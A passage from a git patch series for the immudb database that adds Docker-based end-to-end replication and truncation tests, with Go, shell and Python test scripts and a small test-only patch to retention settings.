v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24= +google.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= +google.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= +google.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= +google.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= +google.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w= +google.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211221195035-429b39de9b1c/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20220126215142-9970aeb2e350/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20220207164111-0872dc986b00/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20220218161850-94dd64e39d7c/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220222213610-43724f9ea8cf/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220304144024-325a89244dc8/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220310185008-1973136f34c6/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2IFola2sVEjAn7MEwsja0xp51I0tlGAf9hz4E= +google.golang.org/genproto v0.0.0-20220407144326-9054f6ed7bac/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd h1:e0TwkXOdbnH/1x5rc5MZ/VYyiZ4v+RdVfrGMqEwT68I= +google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= +google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= +google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= +google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= +google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= +google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= +google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.46.2 h1:u+MLGgVf7vRdjEYZ8wDFhAVNmhkbJ5hmrA1LMWK1CAQ= +google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= +google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= +gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= +gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= +gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= +gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk= +gotest.tools/v3 v3.2.0/go.mod h1:Mcr9QNxkg0uMvy/YElmo4SpXgJKWgQvYrT7Kw5RzJ1A= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= +honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= +rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= +sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= diff --git a/test/e2e/truncation/main.go b/test/e2e/truncation/main.go new file mode 100644 index 0000000000..9bdeba207a --- /dev/null +++ b/test/e2e/truncation/main.go @@ -0,0 +1,135 @@ +/* +Copyright 2022 CodeNotary, Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "context" + "flag" + "fmt" + "log" + "math/rand" + "time" + + "github.com/codenotary/immudb/pkg/api/schema" + immuclient "github.com/codenotary/immudb/pkg/client" +) + +var config struct { + IpAddr string + Port int + Username string + Password string + DBName string + Retention time.Duration + Interval time.Duration + Frequency time.Duration +} + +func init() { + log.SetFlags(log.LstdFlags | log.Lshortfile) + flag.StringVar(&config.IpAddr, "addr", "", "IP address of immudb server") + flag.IntVar(&config.Port, "port", 3322, "Port number of immudb server") + flag.StringVar(&config.Username, "user", "immudb", "Username for authenticating to immudb") + flag.StringVar(&config.Password, "pass", "immudb", "Password for authenticating to immudb") + flag.StringVar(&config.DBName, "db", "defaultdb", "Name of the database to use") + flag.DurationVar(&config.Retention, "retention", 5*time.Minute, "Data retention period") + flag.DurationVar(&config.Frequency, "frequency", 5*time.Minute, "Frequence between retention enforcement") + flag.DurationVar(&config.Interval, "interval", 5*time.Second, "Time between data injection") + flag.Parse() + rand.Seed(time.Now().UnixNano()) +} + +func connect() (context.Context, immuclient.ImmuClient) { + ctx := context.Background() + opts := immuclient.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port) + client := immuclient.NewClient().WithOptions(opts) + err := client.OpenSession(ctx, []byte(config.Username), []byte(config.Password), "defaultdb") + dblist, err := client.DatabaseListV2(ctx) + if err != nil { + log.Fatalln("Failed to list. Reason:", err) + } + db_exists := false + for _, db := range dblist.Databases { + if db.Name == config.DBName { + db_exists = true + break + } + } + if !db_exists { + log.Printf("Creating database %s", config.DBName) + settings := &schema.DatabaseNullableSettings{ + FileSize: &schema.NullableUint32{Value: 4096}, + TruncationSettings: &schema.TruncationNullableSettings{ + RetentionPeriod: &schema.NullableMilliseconds{Value: config.Retention.Milliseconds()}, + }, + } + client.CreateDatabaseV2(ctx, config.DBName, settings) + } else { + log.Printf("Database %s already exists", config.DBName) + } + client.CloseSession(ctx) + err = client.OpenSession(ctx, []byte(config.Username), []byte(config.Password), config.DBName) + if err != nil { + log.Fatalln("Failed to connect. Reason:", err) + } + return ctx, client +} + +var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-" + +func randStr(length int) []byte { + ll := len(chars) + b := make([]byte, length) + rand.Read(b) // generates len(b) random bytes + for i := 0; i < length; i++ { + b[i] = chars[int(b[i])%ll] + } + return b +} + +func insertData(ic immuclient.ImmuClient, ctx context.Context) { + k := []byte(fmt.Sprintf("key:%d", time.Now())) + v := randStr(256) + _, err := ic.Set(ctx, k, v) + if err != nil { + log.Fatal("Error inserting data: ", err) + } +} + +func flushData(ic immuclient.ImmuClient, ctx context.Context) { + err := ic.TruncateDatabase(ctx, config.DBName, config.Retention) + if err != nil { + log.Printf("Error truncating database: %s", err.Error()) + } +} + +func main() { + log.Printf("Starting") + ctx, client := connect() + tickerI := time.NewTicker(config.Interval) + tickerR := time.NewTicker(config.Frequency) + for { + select { + case <-tickerI.C: + log.Printf("Inserting row") + insertData(client, ctx) + case <-tickerR.C: + log.Printf("Truncating") + flushData(client, ctx) + } + } +} From 729c4d7673991c08504ecbf3b5b3ab03f0ac4db4 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Tue, 14 Feb 2023 15:43:00 +0100 Subject: [PATCH 0260/1062] python script to run e2e tests in dockers --- test/e2e/Dockerfile | 14 ++++ test/e2e/replication/replic.sh | 17 ++-- test/e2e/replication/run.sh | 4 + test/e2e/runtests.py | 74 +++++++++++++++++ test/e2e/runtests.sh | 9 +++ test/e2e/t0.patch | 24 ++++++ test/e2e/truncation/main.go | 2 +- test/e2e/truncation/run.sh | 141 +++++++++++++++++++++++++++++++++ 8 files changed, 276 insertions(+), 9 deletions(-) create mode 100644 test/e2e/Dockerfile create mode 100755 test/e2e/replication/run.sh create mode 100755 test/e2e/runtests.py create mode 100755 test/e2e/runtests.sh create mode 100644 test/e2e/t0.patch create mode 100755 test/e2e/truncation/run.sh diff --git a/test/e2e/Dockerfile b/test/e2e/Dockerfile new file mode 100644 index 0000000000..dbae72f6a3 --- /dev/null +++ b/test/e2e/Dockerfile @@ -0,0 +1,14 @@ +FROM golang:1.20 +RUN apt-get update && apt-get install -y netcat patch + +WORKDIR /src/immudb +COPY go.mod go.sum /src/ +RUN go mod download -x +COPY . . +RUN rm -rf /src/webconsole/dist && patch -Np1 < test/e2e/t0.patch +RUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-static +RUN GOOS=linux GOARCH=amd64 go build -C test/e2e/truncation + +WORKDIR /src +RUN git clone https://github.com/codenotary/immudb-tools.git /src/tools +RUN GOOS=linux GOARCH=amd64 go build -C /src/tools/stresser2 diff --git a/test/e2e/replication/replic.sh b/test/e2e/replication/replic.sh index 376a224f5f..80f7a453b3 100755 --- a/test/e2e/replication/replic.sh +++ b/test/e2e/replication/replic.sh @@ -1,4 +1,4 @@ -#!/bin/sh +#!/bin/bash PRIMARY_ADDR=127.71.17.10 REPLICA_ADDR=127.71.17.11 @@ -11,7 +11,8 @@ IMMUCLIENT=./immuclient SIZE=500 SYNC_OPTION_PRIMARY=() SYNC_OPTION_REPLICA=() - +BATCHSIZE=100 +WORKERS=10 usage () { cat </dev/null & PRIMARY_PID=$! -while nc -z $PRIMARY_ADDR 3322 +while ! nc -z $PRIMARY_ADDR 3322 do echo "Waiting primary" sleep 1 @@ -83,7 +84,7 @@ done $IMMUDB --dir $DATADIR/replica_data -a $REPLICA_ADDR 2>/dev/null & REPLICA_PID=$! -while nc -z $PRIMARY_ADDR 3322 +while ! nc -z $PRIMARY_ADDR 3322 do echo "Waiting replica" sleep 1 @@ -105,7 +106,7 @@ $IMMUADMIN -a $REPLICA_ADDR database create $DB \ echo "Launching $STRESS_APPLICATION" T0=`date +%s` -$STRESS_APPLICATION -addr $PRIMARY_ADDR -write-speed 0 -read-workers 0 -write-batchnum $SIZE -write-workers 10 -db $DB -batchsize 100 +$STRESS_APPLICATION -addr $PRIMARY_ADDR -write-speed 0 -read-workers 0 -write-batchnum $SIZE -write-workers $WORKERS -db $DB -batchsize $BATCHSIZE T1=`date +%s` txid() { @@ -129,6 +130,6 @@ T2=`date +%s` kill $PRIMARY_PID kill $REPLICA_PID -echo "Elapsed: $((T2-T0)) seconds, $((T1-T0)) for inserting, $((T2-T1)) for sync" - - +echo "RESULT: Elapsed: $((T2-T0)) seconds, $((T1-T0)) for inserting, $((T2-T1)) for sync" +echo "RESULT: Total KV: $((SIZE*$WORKERS*BATCHSIZE)), Total TX $(($WORKERS*BATCHSIZE))" +echo "RESULT: Total KV/s: $(( (SIZE*$WORKERS*BATCHSIZE)/(T2-T0) )), Total TX/s $(( (10*BATCHSIZE)/(T2-T0) ))" diff --git a/test/e2e/replication/run.sh b/test/e2e/replication/run.sh new file mode 100755 index 0000000000..d854df92e5 --- /dev/null +++ b/test/e2e/replication/run.sh @@ -0,0 +1,4 @@ +#!/bin/sh +cd "$(dirname "$0")" +BASE=/src/immudb +./replic.sh -x /src/tools/stresser2/stresser2 -a $BASE/immuadmin -i $BASE/immudb -c $BASE/immuclient diff --git a/test/e2e/runtests.py b/test/e2e/runtests.py new file mode 100755 index 0000000000..f013756dac --- /dev/null +++ b/test/e2e/runtests.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 +import subprocess,sys,logging, time +import xml.etree.ElementTree as ET +TAG="bla" +logging.basicConfig( + format='%(asctime)s %(levelname)s %(filename)s:%(lineno)d %(message)s', level=logging.INFO + ) + +def build_docker(): + logging.info("Building docker") + t0=time.time() + result=subprocess.run( + ["docker", "build", "-f", "Dockerfile", "../..", "-t", TAG], + capture_output=True, text=True + ) + if result.returncode!=0: + logging.error("Docker build failure:", result.stderr) + return False, time.time()-t0 + return True, time.time()-t0 + +def replication(ts): + logging.info("Starting replication test") + xmlresult = ET.SubElement(tree, 'testcase', name="replication") + t0=time.time() + result=subprocess.run( + ["docker", "run", "-it", "--rm", "--entrypoint", "/src/immudb/test/e2e/replication/run.sh", TAG], + capture_output=True, text=True + ) + for l in result.stdout.split("\n")[-5:]: + logging.info("replication result: %s", l) + ET.SubElement(xmlresult, "system-out").text=result.stdout + ET.SubElement(xmlresult, "system-err").text=result.stderr + xmlresult.set("time", str(time.time()-t0)) + if result.returncode!=0: + logging.error("Docker replication test:", result.stderr) + return False + return True + +def truncation(ts): + logging.info("Starting truncation test") + xmlresult = ET.SubElement(tree, 'testcase', name="truncation") + t0=time.time() + + result=subprocess.run( + ["docker", "run", "-it", "--rm", "--entrypoint", "/src/immudb/test/e2e/truncation/run.sh", TAG], + capture_output=True, text=True + ) + ET.SubElement(xmlresult, "system-out").text=result.stdout + ET.SubElement(xmlresult, "system-err").text=result.stderr + xmlresult.set("time", str(time.time()-t0)) + + if result.returncode!=0: + logging.error("Docker truncation test: %s", result.stderr) + + ret=False + for l in result.stdout.split("\n")[-5:]: + if "OK:" in l: + ret=True + logging.info("truncation result: %s", l) + return ret + +if not build_docker(): + sys.exit(1) + +tree=ET.Element('testsuites') +ts = ET.SubElement(tree, 'testsuite', name="e2e") +err=0 +for test in (replication, truncation): + if not test(ts): + err=err+1 +ts.set("errors",str(err)) +ET.dump(tree) +tree.write("result.xml") + diff --git a/test/e2e/runtests.sh b/test/e2e/runtests.sh new file mode 100755 index 0000000000..eaed2a4d71 --- /dev/null +++ b/test/e2e/runtests.sh @@ -0,0 +1,9 @@ +#!/bin/sh +set -e + +TAG=bla + +docker build -f Dockerfile ../.. -t $TAG +docker run -it --rm --entrypoint /src/immudb/test/e2e/replication/run.sh $TAG +docker run -it --rm --entrypoint /src/immudb/test/e2e/truncation/run.sh $TAG + diff --git a/test/e2e/t0.patch b/test/e2e/t0.patch new file mode 100644 index 0000000000..3462314827 --- /dev/null +++ b/test/e2e/t0.patch @@ -0,0 +1,24 @@ +diff --git a/embedded/store/options.go b/embedded/store/options.go +index 1e93f2f9..b6de2dd6 100644 +--- a/embedded/store/options.go ++++ b/embedded/store/options.go +@@ -51,7 +51,7 @@ const DefaultWriteBufferSize = 1 << 22 //4Mb + const DefaultIndexingMaxBulkSize = 1 + const DefaultBulkPreparationTimeout = DefaultSyncFrequency + const DefaultTruncationFrequency = 24 * time.Hour +-const MinimumRetentionPeriod = 24 * time.Hour ++const MinimumRetentionPeriod = 5 * time.Second + const MinimumTruncationFrequency = 1 * time.Hour + + const MaxFileSize = (1 << 31) - 1 // 2Gb +diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go +index a69aa231..ff1b483f 100644 +--- a/pkg/database/truncator.go ++++ b/pkg/database/truncator.go +@@ -166,5 +166,5 @@ func newTruncatorMetrics(db string) *truncatorMetrics { + + // TruncateToDay truncates the time to the beginning of the day. + func TruncateToDay(t time.Time) time.Time { +- return time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location()) ++ return time.Date(t.Year(), t.Month(), t.Day(), t.Hour(), t.Minute(), t.Second(), 0, t.Location()) + } diff --git a/test/e2e/truncation/main.go b/test/e2e/truncation/main.go index 9bdeba207a..b3d7064dab 